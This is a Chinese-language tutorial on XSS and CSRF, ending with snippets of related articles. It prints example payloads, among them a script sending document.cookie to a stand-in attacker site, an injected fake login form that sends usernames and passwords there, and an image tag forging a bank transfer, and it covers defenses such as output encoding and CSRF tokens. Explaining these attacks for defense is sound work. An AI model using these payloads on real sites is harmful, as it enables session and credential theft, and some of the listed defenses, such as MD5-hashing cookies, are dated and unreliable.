XSS,CSRF

对于这两个攻击大家很容易混淆,今天我就通俗易懂地分析二者的根本区别。不懂包换!

1.跨站脚本攻击(XSS)

XSS的全称为Cross site scripting 跨站脚本攻击,为了与CSS与分开来,因此简称XSS,是web中最常见的漏洞。指攻击者在网页中嵌入恶意的客户端脚本(例如Javascript),当用户浏览此网页时,脚本就会在用户的浏览器上运行,用户浏览器就会被攻击者控制。比如获取用户的cookie,导航到恶意网站,携带木马等。预防措施,防止下发界面显示html标签,把</>等符号转义。

没有例子说个JB,上栗子:

假如页面下有一个输入框:

<input type="text" name="record" value="我现在还是一脸懵逼">

“我现在还是一脸懵逼”是来自用户的输入,如果用户输入的是"onfocus="alert(document.cookie)

那么就悲剧了,就会变成

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

事件被触发的时候嵌入的JavaScript代码将会被执行。至于攻击的威力,取决于用户输入了什么样的脚本。

那XSS有哪些危害呢?

1.盗取用户cookie,伪造用户身份

例如注入一下代码:

<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>

当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。

得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。

2.控制用户浏览器

3.传播恶意软件

除了直接注入恶意脚本以外,通过XSS攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在某个自己建立的页面上放置一些恶意软件,然后用XSS注入的方式,插入一段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动访问放置了恶意软件的页面,从而受到这些恶意软件的感染。

4.衍生URL跳转漏洞(CSRF攻击)

比如我们注入如下的HTML代码:

<img src = “http://www.bank.com/transfer.do?toAct=123456&money=10000>

假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的123456)执行转账操作。由于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自动将受害者的Cookie信息一并发送。这样,发送的请求就好像是受害者自己发送的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。

5.官网挂钓鱼网站

所谓钓鱼网站就是构建一个有诱惑力的页面(你懂的),诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:

<script>
  function hack(){
    location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value);
  }
</script>
<form>
  <br> <H3>此功能需要登录:</H3 >
  <br><br>请输入用户名:<br>
  <input type=”text” id=”user”name=”user”>
  <br>请输入密码:<br>
  <input type=”password” name =“pass”>
  <br><input type=”submit”name=”login” value=”登录”onclick=”hack()”>
</form>

注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用户的账号信息。和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改的。

写到这里有点饿,放一张美食先。

看饱了抓紧干活!

那如何预防XSS攻击呢?

很简单,看我的:

1.输入过滤

检测用户输入的数据,比如过滤其中的"<"、">"、"/"等可能导致脚本注入的特殊字符,或者过滤"script"、"javascript"等脚本关键字,或者对用户输入数据的长度进行限制等等。同时,也要考虑用户可能绕开ASCII码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码也要过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能过有效地组织XSS攻击。

2.输出编码

之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后在输出到目标页面中。这样,如果用户输入一些HTML脚本,也会被当做普通文字,而不会成为目标HTML代码的一部分得到执行。

3.cookie防盗

攻击者通过XSS攻击很容易方便地窃取到合法用户的cookie信息。因此,对于cookie,我们可以采取以下措施:首先,我们要尽可能地避免在cookie中泄露隐私,如用户名、密码等;其次,我们可以将cookie信息利用MD5等hash算法进行多次散列后存放;再次,为了反正重放攻击,我们可以将cookie和IP绑定,这样也可以阻止攻击者冒充正常用户身份。

2.CSRF 攻击  

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你的名义发送邮件,发消息,盗取你的账号,甚至购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。预防措施,请求中加入随机数,让钓鱼网站无法正常伪造请求。

举个栗子:

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题&content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

比如删帖:

http://example.com/bbs/create_post.php?type=delete&id=81723

总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的,只能通过提高攻击门槛尽可能的防御。

那么怎么防御呢?

1.验证码

几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止CSRF攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于,不可能在用户所有操作上都需要输入验证码,只有一些关键的操作才要求输入验证码。不过虽这么HTML5的发展,利用canvas标签,前端也能识别验证码的字符,让CSRF攻击生效。

2.Token

CSRF能攻击成功,根本原因是操作所带领的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。

针对表单比较可行的解决方案遵循三步:

1.在用户登录时,设置一个CSRF的随机token,同时种植在用户的cookie中,当用户浏览器关闭或者再次登录、退出时,清除token;

2.在表单中,生成一个隐藏域,它的值就是cookie中随机token

3.表单提交后,在web服务器端,判断表单中是token是否和用户cookie中的token一致,如果不一致或者为空,就判断为CSRF攻击。

时间: 2024-10-18 10:16:33

XSS,CSRF的相关文章

浅谈CDN、SEO、XSS、CSRF

CDN 什么是CDN 初学Web开发的时候,多多少少都会听过这个名词->CDN. CDN在我没接触之前,它给我的印象是用来优化网络请求的,我第一次用到CDN的时候是在找JS文件时.当时找不到相对应的JS文件下载地址(之前一般我都是把JS下载下来,然后在项目中引用的.PS:当然了,我觉得大部分初学者都一样) 找着找着发现了这个网站:http://www.bootcdn.cn/,发现它这个搜索引擎收录了很多的JS文件,直接在项目中引入它的地址就行了! 后来,在购买服务器的时候也发现了广告:CDN加速

常见web安全问题,SQL注入、XSS、CSRF,基本原理以及如何防御

1.SQL注入原理:1).SQL命令可查询.插入.更新.删除等,命令的串接.而以分号字元为不同命 令的区别.(原本的作用是用于SubQuery或作为查询.插入.更新.删除--等 的条件式)2).SQL命令对于传入的字符串参数是用单引号字元所包起来.(但连续2个单引 号字元,在SQL资料库中,则视为字串中的一个单引号字元)3).SQL命令中,可以注入注解预防:1).在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据 访问功能.2).在组合SQL字符串时,先针对

漏洞科普:对于XSS和CSRF你究竟了解多少

转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显. 黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使

web安全之XSS和CSRF

XSS 跨站脚本攻击(cross site script),本来缩写CSS单位了和层叠样式(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”. XSS攻击,通常上指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击.一开始这种攻击是跨域的,但是由于今天JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要.  XSS通过代码注入,获取目标网站的的Cookie,从而发起“Cookie劫

一次解决存储型xss和csrf漏洞的简单方法

目前我知道的,存储型xss解决方法:过滤转义用户输入的脚本.标签,csrf漏洞解决方法:校验referer.加token.加验证码 而referer校验是针对存在referer的情况,因为某些请求的head里没有referer,这时不能判断请求是非法的:加token,保存在哪是个问题,如果保存在session中,当集群部署时,session不同步会导致客户端的token与处理请求的服务器的token不一致:加验证码同样的道理,而且对用户体验非常不好. 由于xss和csrf都是改变用户请求参数来达

总结 XSS 与 CSRF 两种跨站攻击

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们.由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心.如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义.所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”.但最近又听说了另一种跨站攻击 CS

.net mvc 防止 xss 与 CSRF

CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用.尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左.XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性. C

Django之XSS和CSRF

一.XSS XSS:跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息. 1.工作流程图 2.实例 1 pinglu = [] # 评论列表 2 3 #提交表单 4 def commit(request): 5 if request.method == 'GET': 6 return render(request, 'commit.html') 7 else: 8 com = request.POST.get('commit') 9 pinglu.append(com) 10 re

web前端安全 XSS跨站脚本 CSRF跨站请求伪造 SQL注入

web安全,从前端做起,总结下web前端安全的几种技术: 1,XSS XSS的全称是Cross Site Scripting,意思是跨站脚本,XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记 XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句. 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有 跨站漏洞 的网页,然后构造跨站语句,通过结合其它技术,如社会工